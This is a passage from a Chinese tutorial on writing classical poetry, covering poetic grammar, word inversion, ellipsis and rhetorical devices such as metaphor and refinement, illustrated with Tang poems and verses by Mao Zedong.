艾利r18兵长猫:诗人·必读

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摘录者序：

三秦雪翁先生是著名的古体诗词学者。也是主张古体诗词必须适应历史发展需要，必须为中国四个现代化建设服务的积极倡导者、探索者、实践者。他博览群书，知识渊博，富有改革创新精神。勇于实践，古为今用，薄古厚今。现将三秦雪翁先生的《诗词写作》摘录部分先预发表。初学写作古体诗词的人，或只有一些基本常识的写作者，认认真真地把这篇《摘录》读完，并学会运用，注定能大大提高自己的古体诗词的写作水平！

凤城山人 2010年12月26日于重庆

【一】三秦雪翁

（一）用现代语写格律诗之体会

格律诗目前存在着继承和发展的问题。有些规定已经不适合现代语言的变化，如社会主义、马列主义等词汇的平仄处理。对待律诗的写作，目前存在着两种意见：一种是严守格律，不能雷池半步；一种是随便写上五、七字，四、八句就可以称为格律诗。我认为前一种是强调了继承，忽视了发展；后一种是将律诗看得太简单，不肯下功夫，自然无从谈起继承和发展了。用新声韵写律诗，目前尚未得到一部分人的认可。“新声”是指现代语；“新韵”是指国家颁布的新韵和民间的“十三韵”等宽韵。我个人的意见是倡今知古，宽不碍严。对于有束缚现代语言、影响思想感情表达的个别条规，应大胆赏试改革。
在写律诗的摸索过程中，就如何用现代语写成近似诗家语，我有以下初步体会：
一、要有诗的语言。从隋唐开始，便提出了语言朴质自然，易近读者的写作宗旨。流传千古，炙人快口的诗词，无不如此。用现代语写古诗，首先注意不使用口语，不用或少用生活用语，在流畅的同时，注意要有诗的语言。诗词的语言是最精辟的语言，力求生动流畅。既不要追求词藻的华丽；也不要满篇陈词滥调；更不要使用没有时代气息词汇和字句，语言要朴素淡雅。如：“三七年春天，我父把军参”，首句就口语化了，缺少了诗的语言味道。如果改为：“春溯三七年，我父把军参”就好得多了，读起来有了一点诗味。
二、转白话为诗家语。古汉语有很多字是一字一音多义，而现代语多有双音节和多音节，写作时尽可能把多音节转化为单音节。如：如果——若；想要——欲；不要——莫；共同——皆；过去——昔；熟悉——谙，等等。这样一则有了诗的语言，二则可以节约出文字表达出更多的意思。写作中可以对词性进行活用，创造性地使用词汇。
三、语言精练，力求含蓄。力戒几句话说明一个问题，力争一句话表达几层意思，不可过于直白，要给读者留下思考的余地。但不可随意省略或压缩字数，以免造成语言晦涩，不好理解。古代有特定含义的词要慎用。如：云雨、青楼、白屋、高山流水等。
四、不受现代语法、语序的约束。只需将要表达的意思，选用几个最有用的词字，按照格律需要进行排列即可，无须顾及现代语法、语序。必要时可以省略主、谓、宾等语，也可以前后换位。有些词汇倒置后会改变原义，在适应格律需要倒置时要引起注意。
自古以来，诗无达估，角度不同，看法各异。诗歌是为了抒情达意，过度地仿古，会使读者望而生畏，失去写诗的意义。
（二）诗词的语法特点

诗词语法是我们今天的叫法，古人对此无明确的定义和规定。但对实践中接触过的语法问题，都有着统一的处理方法，我们用现代语法去解释古诗词的这种规律，姑且把它叫做诗词语法吧。语法是遣词造句的规律依据，写文章必须遵守现代语法。但诗词是语言艺术，是一种特殊文体，语法比较自由。它的语言有短小精悍、明快简洁、清新质朴、委婉含蓄等特点。在语法上有它独特的方面，如：词的配合、语序、句式、词类、省略等同散文有着显著的差别。如果了解这些特点，在理解和写作的时候会受益无穷。

一。诗词的语序。
语序是用词或字组成句子时的排列顺序，现代汉语的语序一般来说主语在谓语之前；宾语在动词之后；定语、状语在其修饰的词语之前；补语在其所补充的词语之后等。在诗词里，语序的处理非常自由。作者为了表达某一个内容，选择好了一些词或字，把这些词、字按照修辞和格律（韵脚、平仄、对仗等）的要求组织起来。是否符合语序的要求可以不管，原则是只要不被误解就行了。这是诗词语法最明显的特点之一，可以不按照现代语法的语序进行排列。这就是诗词语法与现代语法不同之处，打破语法的排列顺序，会使诗句显得更有诗味。

如李颀的《送魏万之京》中的“鸿雁不堪愁里听，云山况是客中过”。第一句中的“鸿雁”应是“听”的宾语；第二句“云山”应是“过”的宾语。李白的《登金陵凤凰台》中的“三山半落青天外，二水中分白鹭洲”，第二句按照现代语法应是“白鹭洲中分了二水”。“白鹭洲”是主语，“二水”是宾语，这是主宾倒置。不理解诗词的语法，容易理解为：二水把白鹭洲从中分开。

以上例句都打破了现代语法的语序，都未按一般语序写。若按照一般语序改写，会使原来优美的诗句索然无味。由此可见，打破语序是诗词的一个重要特点。它可以使诗句更加精炼、优美、新鲜和别致。

特别要说明的是：诗词固然可以不管语序，但必须使句中的词与词要有比较自然的联系，读者稍加思索就能明白作者的用意。梅尧臣说“作者得于心，读者会其义”。要“会”其义，作者首先要通过一些词，给读者提供“会”的依据。读者细心领会作者的意图，彼此心领神会，引起共鸣。当然了解作者意图并不容易，要求要有一定的文学修养，要求多读多深思，努力提高欣赏能力。

二．诗词中词的配合。
诗词中词的配合有以下几个特点：

1. 不受语法的限制。诗词中词的配合可以不顾及语法中的主语、谓语、宾语等的限制，可直接将选用好的词语，按照修辞和格律地需要进行排列，如：马致远《天净沙》中的“枯藤老树昏鸦，小桥流水人家，古道西风廋马”；杜甫《旅夜书怀》中的“细草微风岸，危樯独夜舟”；陆游《书愤》中的“楼船夜雪瓜州渡，秋风铁马大散关”等。这些都打破了语法规定，只是将几个名词和其修饰词并列起来。句中没有谓语和宾语等，可是人们并不感到少了什么，而且一读就懂。

2. 不受语序的限制。诗词的语言非常自由，为了满足平仄、对仗、押韵等格律的需要，或者为了满足修辞、侧重等的需要，可不按现代语序排列，直接按照其需要进行组词。如元好问《鹧鸪天》中的“新生黄雀君莫笑，占了春光却被它”。按语序应是“君莫笑，却被它新生黄雀占了春光”。“新生黄雀”是“笑”的宾语，“占了春光”是“它”的谓语，这是出于平仄的需要而进行了倒置。
有时为了侧重强调某一事物，以引人重视，有意把侧重的词倒置放在句首。如杜甫的《晴二首》中“碧知湖外草，红见海东云”，是为了突出颜色。看到碧色，知道是湖外的草的颜色；看到红色，知道是东方海上的云霞。

3. 可以创造性地使用词汇。诗词中词的配合是诗词语法最独特的特点之一，它可以对词类活用，可以对词汇拆散或颠倒等。这些在现代语法中是不允许的。后边对此要专题介绍，暂不多说。

三．诗词的句。

语法上的句子是表达语言的单位，有一个完整的意思。也就是说，一般的句子最少要有主语和谓语成分，可以是单句或复句。诗词的句原本是音乐上的单位，脱离音乐以后指朗读和书写的单位。两个有着不同的概念，它们既有不同，又有联系。

1.诗词的句是语法上的词组。这种词组意思完整，往往不需要补充。句中所包含的几个词，常常分不出主语、谓语、宾语等。在散文中除了省略和特殊独立词之外，一般句子都要有主、谓语，否则是不完整的句或病句。诗词中不能这样要求，它只要求一句中所包含的词组，在无主谓语等的情况下能够说明一个完整的意思，这是诗词语法的特点之一。最明显的是一句话由几个名词和附加语的名词组成。如“鸡声茅店月，人迹板桥霜”这两句诗，都无主语，可是人们并不感到少了什么，意思完整。读者通过这两句仿佛看到：荒村野店，晨月高挂。旅客便被雄鸡唤醒，匆忙地赶路了。板桥上的一层白霜，留下早行人的脚印。将旅人的辛苦见于言外，一些言外的事就不必写出来。即使格律合适，也无必要。因为读者早已从廖廖几字中体会出了作者所要表达的一切。

2．诗词的句是语法中的不完全句。诗词受篇幅和字数地限制，语言要求非常精炼，句子结构非压缩不可，这就出现了无主谓语的不完全句。诗词中有时候看起来有主谓语，其实仍是不完全句。如苏轼的《新城道中》“岭上晴云披絮帽，树头初日挂铜钲”。“云”不是“披”的主语，“日”也不是“挂”的主语。这两句诗共有四层意思:岭上积聚了晴云；好像给岭戴上了絮帽；树头初升起了红日；好像树上挂了一面铜钲。铜钲是古代一种打击乐，相当现代的铜锣。

又如毛主席的《忆秦娥·娄山关》中的“西风烈，长空雁叫霜晨月”，“月”不是“叫”的宾语。这句话包含了三层意思：西风劲吹，黎明前的月光如霜，长空传来了鸿雁的叫声。

诗词上的句是语法的一部分，语法上的单句可以由诗词的一句或两句完成。在诗词中，副词不一定修饰动词，如“恰同学少年，风华正茂”。“恰”是副词，后边没有所修饰的动词紧跟。“雨后复斜阳，关山阵阵苍”中的“复”字也是副词，同样没有修饰动词。

3.诗词上的句同语法上的句是一致的。诗词中的句有些和语法的句完全一致，可以是单句，也可以是复句。如董必武的“向晨一觉车中梦，万马奔腾到大同。正是草原生意满，人间到处有东风”。每句都是语法上的单句。诗词的句是语法的复句有：“弄文罗文网，抗世违世情”、“天若有情天亦老”、“国破山河在”等。

总的来说，诗词的作者可以不受语法结构句子的束缚，诗词的句子可以是独立的词组，也可以是单句中的一部分。语法上的句可以由诗词的一句、两句或两句以上完成。诗词的语法非常自由，作者主要考虑的是内容、修辞和格律，语法可以顺其自然。

四．词类的活用。

古代的诗人是按照古汉语和文言文去写诗的。现代人仿照古人的方法去写作，对处理格律有一定的帮助。现代散文绝大多数词汇不能随意改变词类，而诗词可按照古汉语进行活用。至今在散中还可以看到古今都在使用的少量活用词汇。如“严肃党的纪律，纯洁党的队伍”，“严肃”和“纯洁”本是名词，在这里被当做动词使用。

写诗词时可以遵照传统习惯，把一些词类活用。词的配合可以突破一般语言习惯，创造性的使用词汇。可将名词、形容词来当动词使用。如“弹洞前村壁”中的“洞”，原本是名词，这里当动词使用。是指“穿”的意思，穿透了墙壁，“洞”比“穿”更形象。

又如“四更山吐月，残夜水明楼”。“吐”和“明”就突破了一般用词的习惯。“吐”，是采用拟人手法；“明”，本是形容词，这里当动词用。这句诗的意思是说，残夜月出天将明，楼前的池水将月光反射到楼上，使楼更加明亮起来了。虽然这层意思没有明白说出来，但读者可根据诗句概括地想象出来，给读者留下了充分的想象空间。

周总理的“大江歌罢掉头东，邃密群科济世穷”。“东”是名词和方位词，这里当动词东行、东渡讲，按照散文语法是不能当动词用。经过活用后，除写出了周总理东渡日本寻求救国真理的豪迈行动外，还有为什么这样用的道理：首先到达了精炼的目的；其次是照应“大江歌罢”一词。“大江”是苏轼《赤壁怀古》中“大江东去，浪淘尽、千古风流人物”的缩写，“大江东去”也就成了“豪迈”的代名词；再就是给全诗定了韵脚。

再如毛主席的“粪土当年万户侯”。“粪土”本为名词，这里用作动词。表现出毛主席藐视和不齿荣华富贵的高尚情操。，而且是仄声字，符合格律要求。在“早已森严壁垒，更加众志成城”中，为了适应平仄的需要，将成语“壁垒森严”倒置。“森严”是形容词，这里当动词用，“壁垒”是它的宾语。

词类的活用也是炼字的一种手法。将名词或形容词用作动词，在改变词类后往往能收到意想不到的效果。使语句清新生动，含蓄有味。所以词类地活用是诗词语法的又一特点。

五．同义词的运用和借代。

同义词是指意思相近或相同的词汇。散文语法中要求写作力求准确。诗词为了适应格律需要，可以选择性的使用替代。诗词语法比较灵活，除了从思想内容上选用最合适的词汇外，还要符合诗词的格律。内容合适，不符合格律就得更换。有些初学者在写诗词时，为了适应格律需要而影响了意思的表达，因律而伤义，这是词汇量平时学习掌握的不够。

在“茫茫九派流中国”、“长夜难明赤县天”、“六亿神州尽舜尧”、“四海翻腾云水怒”中的 “中国”、“赤县”、“神州”和“四海”都是同义词。因为格律不同选用也就不同。“茫茫九派流中国”是《菩萨蛮》词牌中的第一句。这首词要求前两句限用仄声韵，多为入声字。“国”是古音入声字，和下句的“北”刚好适应格律，唯一符合要求。“中国”在这里可理解为方位词，是指中国的中部。和“南国”、“北国”同义。使用“中国”不但符合内容的需要，更符合平仄和下句“南北”对仗的需要。“长夜难明赤县天”中的“赤县”是《浣溪沙》词牌中仄仄平平仄仄平句中的两个仄声字，用“赤县”既满足内容需要，又满足格律需要。“四海”同样除了符合内容需要外，也满足了格律和下句“五洲”对仗的需要。

同义词的借代。在特定环境中，不直接使用表示这一事物的词汇，而是借用与这一物有密切相关事的另一件事物词语来代替。这种写作方式叫借代。汉语中的同义词很多，这就要求平时要多积累词汇，以免因律伤义，如“船”的同义词有：“舟”、“维舟”、“舸”、“棹”、“楫”、“桨”、“蓬”、“帆”、“樯”、“橹”等等。又如“年”的同义词有：“岁”、“载”、“春”、“夏”、“秋”、“冬”、“朝”、“暮”甚至“霜”、“凉”等等。

借代的方法常用的有两种。一种是用本物体的一部分特征来代替全部，如前边讲到“船”和“年”的代名词即是。如“谈笑间樯橹灰飞烟灭”，这里的“樯”、“橹”代指战船。
另一种是由特称来代替泛称。如“何以解忧，唯有杜康”。杜康是酒的发明人，这里用“杜康”泛指酒类。又如“浔阳地僻无音乐，终岁不闻丝竹声”。这里以“丝竹”泛指乐器。总之，汉语中同义词异常丰富，加上诗词语法同义词可以扩大的特点，只要肯下功夫，不难做到既能符合格律，又不影响思想感情的表达。

六．省略。
受字数的限制，要求诗词的语言是最精炼的语言。用词比散文经济，能不用的就尽量省掉。省略包括三种情况，一种是遵守古汉语的写法，不用介词等，在现代语法中这被看做省略；另一种是两部分语法结构相同，其中的字也有两个相同，把相同的一个省掉；再一种是省掉句中的主语、谓语、宾语等。这种做法有两个好处，一个是可以帮助处理和满足某些格律的要求；一个是读起来顺口，又能避免误解。
古汉语中无介词等的有：“茫茫九派流中国”,现代语法应为“流于中国”，省略了“于”字；“风烟滚滚来天半”，现代语法中应为“来自天半”，省略了“自”字；“大雨落幽燕”，应为“大雨落于幽燕”，省略了“于”字；“桃花红陌上，柳叶绿池边”,应为“红于陌上”、“绿于池边”，都省略了“于”字。以上词类在古汉语和文言文中不叫省略，在现代语法中叫省略。若要译成现代散文，介词是不能少的。

句内两部分语法结构相同，其中的字也有两个相同，可以把相同的字省掉一个：

“桃叶传情竹枝怨，水流无限月明多”一联，“竹枝”与“怨”之间省略了“传”字。

“不见玉颜空死处”中的“空”和“死”之间省略了“见”字。

“烟树寒林半有无”中的“有”与“无”之间省略了“半”字。

诗词受字数的限制，无论是古语或现代语都必须省略。初学者在写诗受到字数限制省略时，不注意以上规律，往往随意省掉一个字，或将日常用语压缩成几个字。结果造成语言晦涩，读者不好理解，这点在写作上必须引起注意。

除了以上的省略形式外，诗词中经常出现主语、谓语、宾语等被省略的现象。如胡令能《小儿垂钓》中的“路人借问遥招手，怕得鱼惊不应人”。“借问”的主语是“路人”，而“遥招手”的主语“蓬头小子”则被省略。因为“怕得鱼惊”，所以对路人只是连连“遥招手”。

苏轼的《定风波》中的“料峭春风吹酒醒，微冷，山头斜阳却相迎”。迎接谁？诗中未讲，但读者自然明白迎接的是作者。这样的范例在诗词中是比较多的，就不用过多地介绍了。

七．词的颠倒和拆散。

词是汉语中最小的单位，更小的单位是词素。如“家乡”是由“家”和“乡”组成。“家”、“乡”二字就是“家乡”这个词的词素。在现代汉语的散文中是不允许拆散的。而诗词由于其文体特殊，为了适应格律要求，有时允许拆开或颠倒。这也是诗词语法特殊之处。

1，颠倒词和词素的目的。

A,为了押韵而颠倒。如毛主席的《蝶恋花》中“杨柳轻扬直上重霄九”.为了押韵将“九重霄”颠倒为“重霄九”。又如杜甫的《石壕吏》中“老妇出看门”。为了押韵将“出门看”颠倒为“出看门”。对于现代很多印成“出门看”的书，我保留个人看法。

B.为了平仄的需要而颠倒。如毛主席《送瘟神》中的“六亿神州尽舜尧”。这句诗的平仄关系应是仄仄平平仄仄平。而“舜”是仄声字，颠倒后不但适应了押韵，而且符合平仄。再如毛主席《浣溪沙》中“一唱雄鸡天下白”，是“雄鸡一唱天下白”的倒置句。因为词谱规定的平仄是仄仄平平平仄仄，句中的“一”和“白”是古入音字，和“唱”同属仄声字。所以用平声字“雄鸡”和“一唱”换位后，刚好符合平仄要求。

C.为了对仗的需要而颠倒。如杜甫《月下忆舍弟》中“露从今夜白，月是故乡明”.为了对仗把“白露”这个节气名词不但拆开，而且颠倒。分别与“月”和“明”二字对仗，而“月”和“明”也应该理解为“明月”的拆散和颠倒。

D.为了突出所要表示的事物，而用的侧重写法。如杜甫的《秋兴》中“香稻（一种版本为‘红豆’）啄余鹦鹉粒，碧梧栖老凤凰枝”，就是“鹦鹉啄余香稻粒，凤凰栖老碧梧枝”的倒置。把“香稻”和“碧梧”放在前边，主宾换位的目的是，表示诗人所咏之物是香稻和碧梧。如果把鹦鹉和凤凰放在前边，诗人所咏的对象就变成了鹦鹉和凤凰了，这就脱离了秋兴的题目了。再如辛弃疾的“千古江山，英雄无觅、孙仲谋处”，把“无觅”和“英雄”动宾语倒置，除了适应平仄外，主要是起着怀古感叹的修辞作用。写作中诗词对语序的颠倒，不但符合了格律的需要，而且会使句子更增加了诗味道。

2，拆散词素的目的。

A.为了构成音节。如毛主席《人民解放军占领南京》中“虎踞龙盘今胜昔，天翻地覆慨而慷”。“慨而康”既是将“慷慨”二字进行了颠倒，又是拆散。目的是为押韵和促成七个字，构成音节。又如曹操的《短歌行》中“慨当以慷，忧思难忘”，其拆散和颠倒“慷慨”的目的也是为了押韵和凑字数。

B.为了格律的需要。如朱德的“回顾西南满战云，台高尔雅旧情激”中，为了音节地对应将“雅尔台”这个地方名字拆开了。

C.为了对仗的需要。如陈毅的“昆仑雪峰送我行，唐古山脉笑相迎”中，为了对仗的需要，将“唐古拉山”中的“拉”字省掉了。

总之，颠倒也好，拆散也好，都不是语言的正常使用习惯，可偶而为之，终是少用为好。

（三）诗词的修辞艺术

一．赋、比、兴。 最早提出赋比兴的是《周礼·春官·大师》；最早给予解释的是后汉郑众注释的《周礼》；最早专门研究的是刘勰的《文心雕龙》篇。他先从六义讲起，六义就是风雅颂和赋比兴。他讲到：风、雅、颂是三种音乐上的分别；赋、比、兴是三种写作手法。唐代孔颖达《毛诗正义》注释中对此解释说：“风雅颂者，《诗》篇之异体，赋比兴者诗之异辞耳”。是说赋比兴是《诗经》的一种写作手法。
1，.赋。赋就是将要讲的事情、或事物、或个人思想等开门见山地直接陈述出来，使人一目了然，写作表现艺术上多采用白描手法。如杜甫的,《北征》：“皇帝二載秋，闰八月初吉，杜子将北征，苍茫问家室……”。直接陈述了北征的具体时间、经过和作者当时的思想感情。又如在《石壕吏》中，开门见山的从“暮投石壕村，有吏夜捉人”说起：具体交待了时间是傍晚；地点是石豪村；事件是“有吏夜捉人”。直接叙述了自己的所见所闻，其中很少（可以说几乎没有）用比兴。唯有“夜久语声绝，如闻泣幽咽”似乎是比。但毕竟是“闻”，是“闻”到隐隐约约地哭泣声。白居易的《卖炭翁》等也是采用了直接陈述的写作方法。
2，.比。比是以彼事物来喻此事物。目的是使诗词比直接陈述更具有说服力和感染力。作比喻的事物与被比喻的事物有以下差别：
A.前者比后者更具体。也就是说前者是形象。
B.前者比后者更容易被人理解。
C.前者比后者更贴近读者，是为人所熟知的。
把这三点一简化就是：以具体喻抽象；以易知喻难知；以贴近喻僻远。如毛主席的“横扫千军如卷席 ”。“横扫千军”不易见，而“卷席”则常见，使人有了感性认识。又如“中原方逐鹿”。“逐鹿”是用典，比喻争夺政权。争夺政权就比较抽象，而双方捕鹿的激烈争斗场面容易想象，加深了读者对争夺政权斗争的理解。
3,兴。兴的运用是为了渲染气氛，写作艺术上不直奔主题，先言它物，托物言志，以引起正文。兴经常和比同提为比兴。郑众在注释《周礼》时说“比者比方于物也，兴者托事于物”。刘勰《文心雕龙》里说“比显而兴隐” 。是说比是明比，而兴是暗比。兴经常用在篇首或段落开头，而比则没有限制。兴是以言它物而引起所咏颂的事物，有时似乎与你所要陈述的内容无明显关系。如古诗《为焦仲卿妻作》中的起句“孔雀东南飞，五里一徘徊”，就是以兴引起全文。作者以孔雀的流连徘徊，来表示焦仲卿和刘兰芝在爱情上的彼此顾恋及难以割舍的情意。又如《诗经·关雎》中的“关关雎鸠，在河之洲。窈窕淑女，君子好逑”。前两句是兴，是说在河滩上鸣叫的雎鸠，后两句是说淑女是君子追求的好配偶。从内容上分析成男女在爱情上地追求的话，把鸣叫的雎鸠当成在寻求配偶，似乎又有相关。所以说兴是比较隐蔽的一种暗喻。兴在民歌中运用较为广泛，在诗词中则不如比使用广泛。
古人讲，兴是以物引物，有所寄托，以引全文。又有“取象曰比，取义曰兴 ”之说。所以常将比和兴合称为比兴。
二．比喻。比喻是根据事物之间有共同相似的特点，用乙事的比较形象、易知、贴近来说明甲事的抽象、难知和僻远。有时候甚至用几件事物同时来比喻甲事，如说理中的比喻。比喻本身不是道理，但诗中的比喻往往成为诗的形象，通过这些形象来表达感情。所以，比喻的形象成为诗的主要成分，使人们从形象的比喻中很容易得出抽象的概念。比喻常用以下几种方法：
1，.明喻。明喻就是直接比喻，要求要使用喻词。喻词有：“若”、“如”、“似”、“犹”、“譬如”、“譬之”等。用喻词将本体（甲事物）和喻体（乙事物）联系起来。例如：“若网在纲，有条不紊”，喻词是“若”。意思是，好比网结在网绳上，才能不乱。又如韦应物的“诗似冰壶彻底清”，喻词是“似”。这里的“冰壶”就是比喻，用它来比诗是“彻底清”
2，.隐喻（又叫暗喻）。隐喻中本体和喻体同时出现，用“是”、“成”、“成为”、“变成”等系词来代替“像”一类的喻词。如“你是光辉的北斗，我们是群星，紧紧地围绕在你的身旁”。“你”和“我们”是本体，“是”是喻词，“北斗”和“群星”是喻体。有时候隐喻不直接使用喻词，是以以判断句的形式出现。如：“人固有一死，或重于泰山，或轻于鸿毛”。是说人都有一死，用泰山和鸿毛的判断句肯定了人死的价值。又如《隆中对》中“诸葛孔明者，卧龙也”。意思是说诸葛亮这个人，是潜伏着的一条龙啊！直接使用了是“卧龙”的判断句。
3，借喻。借喻是本体不出现，只用喻体来表现。如王安石《本末》中：“缲成白雪桑重绿，割尽黄云稻正青”。诗中借用“白雪”来比喻蚕丝，以“黄云”来比喻稻子。又如释无可的《秋寄从兄岛》中：“听雨寒更尽，开门落叶深”。听了一夜的雨声，早晨开门一看，不是雨而是落叶，借用雨声来比喻落叶声。
4，讽喻。讽喻是常常把意思寄托在一则故事或寓言里，借用故事中的物、事，把要表达的意思说的更形象，更明确。如李清照的《夏日绝句》中“生当做人杰，死亦为鬼雄。自今思项羽，不肯过乌江”。这首诗以项羽失败而羞见江东父老，不肯过乌江的故事，讽刺南宋王朝不肯收复失地，偏安江南。再如一首打油诗：“灯火阑珊烟缥缈，善男信女香懒烧。皆因城隍不作为，贪婪贡品淡世道”。从字面上看似是写城隍庙烟火清淡及其原因是城隍不作为而失去民人们的供奉。实际上是讽刺那些只食人间烟火，不为民办事的某些官员。诗中直接使用喻体代替了本体。
5，博喻。博喻是为了更加说明问题，从多种角度同时运用了几种比喻。如贺铸的《青玉案》中：“试问闲愁都几许，一川烟草，满城风絮，梅子黄时雨”。用了三种比喻，三种事物来比喻“闲愁”。
总之，比喻的要点是把陌生的东西具体化、形象化，以便更好地表达自己的立场和观点。所以要求比喻用的事物必须为人们所熟知。运用比喻必须遵守“以异为同”的原则。也就是说强调本体和喻体是两个不同的东西，但在某一方面却有着共同特点。力求比喻得新鲜、生动、贴题而又不落俗套。不该用比喻和可以不要比喻就能说明问题的地方，就不要刻意使用比喻。如“效颦”这一寓言，说西施心痛捧腹蹙眉，一丑女认为这姿态很美，也跟着学，结果更显得奇丑无比。说这个典故的意思，是说比喻要新颖，形式上的模仿往往收效不佳。
三·精炼。对于精炼地简单解释就是：用尽可能少的字，表达出最深邃的道理；最复杂的内容；最丰富的感情等的方法就叫精炼。再简单一点的解释就是“言简意赅”。精炼的方法说白了就是反复推敲和不断修改。把那些可有可无的字、句、段删除，换成更有用的词语；把内容不丰富的字换成内容丰富的字；把闲字或作用小的字换成作用更大的字。这就是精炼的方法。
精炼首先离不开对内容的精炼。而内容的精炼就是炼句，使一句话同时能够说明几件事或几重意思。炼句其实就是炼字，一般炼字是炼句中最重要的谓语中心词。谓语的中心词往往又是由动词来充当。因此，炼字主要就是炼动词。把名词和形容词活用成动词，也是炼字。任何文章都必须精炼，诗词里的精炼犹为重要。因为诗词受篇幅、字数以及格律地限制，不能有任何闲字或闲话。要把丰富的思想感情等压缩在几个字里，又能明白地表达出作者的意思。词语炼得好，对读者深化理解作者的意图很有帮助。
例如杜甫《登高》中：“万里悲秋常作客，百年多病独登台”。这十四个字包共含了八重意思：“万里”是地域辽远；“悲秋”是感到秋临及自己处境的凄凉；“做客”是羁留在外地；“常作客”是常年久在外；“百年”是老来或暮年；“多病”是身体衰弱；“登台”是上高处；“独登台”是没有亲朋陪伴。这联诗句是精炼的范例，一层一层地揭示了作者对孤独、凄凉的无奈和感叹。
毛主席的“一桥飞架南北，天堑变通途”,句中的“飞架”就是炼字。是用表示动态的词语来表现静态的事物，这种写作手法是诗词修辞艺术的一种重要手法。它把静态的长江大桥用“飞架”地动态来描写，不仅写出了长江大桥凌空而起，横跨南北两岸的雄伟壮观，而“飞”字又含蓄地暗衬建造大桥工程进展的神速。
贾岛的《题李凝幽居》：“闲居少邻并，草径入荒园。鸟宿池边树，僧敲月下门”。古人对这首诗的评价很一般，但佩服他作诗的认真精神。他对是该用“推”还是该用“敲”反复斟酌，因入神而冲撞了京兆伊韩愈。韩愈认为访友应用“敲”，“敲”被“推”更入情合理，而且“敲”字的音节又比“推”字的音节响亮。难怪贾岛在《题诗后》中感慨地说：“两句三年得，一吟双泪流。知音如不賞，归卧故山秋”。若能够把诗句中的中心词炼好，会使诗句增色不少。整诗就变得生动活泼和形象了。有人用夸大的说法说，一个字炼好了，就可以挽救一首诗。其实说这话的意思是想说明炼字的重要性。
形容词即使不作为动词使用，有时也会有炼字的效果。如王维的《观猎》中“草枯鹰眼疾，雪尽马蹄轻”。其中的“枯”、“疾”、“尽”、“軽”都是谓语，但“疾”和“軽”是炼字。草枯鹰眼看得更清楚了，不说“看清楚了”，而是用了“快（疾）”，快比清楚更形象。雪尽以后马走得更快了，不说“快”而用了“軽”，“軽”又比“快”形象得多。形容词活用成动词的如“富国强兵”,“富”和“强”就是活用成动词。这句话在这里不作“国家富裕，军队强大”去讲，而是说“使国家富裕，使军队强大”。
这里有几个不是很精炼的句子以供鉴别。如：“春山无伴独相求”中的“无伴”和“独”字意相同而重复。“卑枝低结子”中的“卑”和“低”近义重复。“霜增孤月白”中的“孤”字是多余字，如果换成“明”字或许能好一些。
精炼的方法没有太深的奥妙，强调地是对诗句反复推敲，认真修改。因为诗词的文体的限制，只能力求修改。炼字是诗词写作修辞艺术的一种重要手段，只有下功夫把字、句炼好，才能写出较好的作品。总之，不断地修改，就是不断地炼句和炼字。含义丰富的词汇，能启迪读者的联想和想象空间。
四·形象。形象就是看得见、摸得着，可感知的具体事物。形象写作又称形象思维，就是用具体事物的形象来表达抽象的概念或思想感情。形象是写作艺术的一种重要修辞和表现手法，在诗词写作里尤为重要。毛主席说“诗要形象思维，不能象散文那样直说”。形象是具体的事物，给人们的是感性认识。具体的形象事物给人们的印象是直接的，是能够觉察得到的，是读者通过感官体会而得出的抽象概念。由于不是强加的，读者易于接受。形象在写作中通常有以下几种表达方式。
1.，主要写形象，在形象中寄托了作者的思想感情。如虞世南的《咏蝉》：“垂緌（緌：读音rúi,垂在颔下结好的帽带。这里指蝉的嘴像挂在颔下的帽带）饮清露，流向出疏桐。居高声自远，非是藉秋风”。这首诗前两句是写形，后两句是写意。从字面上看是写蝉在高树饮露而歌，故声音传得很远，并未提到作者写此的真实目的。但从字句之间可以透露出这样一层意思：“居高”在这里可以理解成双关语，因为桐是高洁的，露是清纯的，古人有“凤凰非梧桐不栖”的说法。所以，这个“高”不但是指所处的地位高，更指的是品格高。品高而又有地位，他的影响力自然就会大。这首咏物诗是通过蝉的形象来表达作者不苟同于世的高洁品格，是形象思维。 2.，主要写思想感情，没有具体的形象描绘。但从抒写的思想感情中蕴含着具体形象，使人感到诗中反映的思想感情不是抽象的，是和唤起的形象相结合的。
如陈子昂的《登幽州台歌》：“前不见古人，后不见来者。念天地之悠悠，独怆然而涕下”。两个“不见”都未写某人的具体形象；“念天地之悠悠”是对宇宙无穷所发的感叹，也没有具体的形象。唯“独怆然而涕下”的“涕下”是形象。但这个形象不能表达出作者“独怆然而涕下”的真实思想。因为作者在武攸宜手下当参军，攻契丹时，屡次献计献策不被采纳，受到妒忌而遭贬。当登上幽州的黄金台，联想到当年燕昭王爱才、惜才，在此台召集天下人才的情景。因此，“前不见古人”的“古人”里有了具体形象。“后不见来者”，这里的“来者”指象燕昭王这样重用人才的人，自己遇不到，遇到的只是武攸宜这类妒才忌能的人。在当时的环境下，他不便明讲，只能用抽象的“古人”、“来者”来抒发感慨，所以才会有怀古叹今之泪下。“念天地之悠悠”，这时就可以理解成，在封建社会的天地里，不知又有多少人象他的遭遇一样。那么，他的泪不光是为了自己，也是在为同自己处境一样的人而泪下了。
3，.既写形象，又写思想感情，把二者有机的结合起来。咏物和抒情结合一起的写作方法，在诗词里比较常见。如李商隐的《咏蝉》：
本以高难饱，徒劳恨费声。
五更疏欲断，一树碧无情。
薄宦梗犹泛，故园芜已平。
烦君最相警，我亦举家清。
这首诗前四句写形象，后四句写感情。“高难饱”和“恨费声”既是写蝉，又是写自己。“五更疏欲断，一树碧无情”，从早叫到晚，声嘶力竭，叫不动了，仍难搏同情,把自己的遭遇借蝉道出。后四句是写自己作小官象无根的萍梗一样漂流。故乡荒芜已经治平，可以回家了。但蝉声警告：“我亦举家清贫”。
诗词通过有限的篇幅，精炼而优美的语言，让作者的思想感情来打动读者。散文可以有具体形象的材料，又有抽象地理性分析，诗词却因各种限制不能这么写。所以要求写作中尽可能地选用形象语言。诗词中使用清新的形象，会使读者联想丰富，眼前便会有画面地产生，读者读诗如賞画，增强了对诗地理解能力。
“最是伤心秋又到，虫声唧唧不可闻”，这首诗是周总理写于1916年，时年封建余孽张勋在徐州勾结军阀复辟清王朝。周总理以“秋又到”表示国事堪忧；用“虫声唧唧”表示反动派的气焰嚣张，同时也表示对他们的藐视。“虫声唧唧”含有比喻的意思，比喻用的也是形象，但形象却不一定都是比喻。这里虽然是比喻，但都没有脱离眼前的景象，没有用脱离环境的方法去找另一类比喻材料，与一般比喻有所不同。
五、含蓄
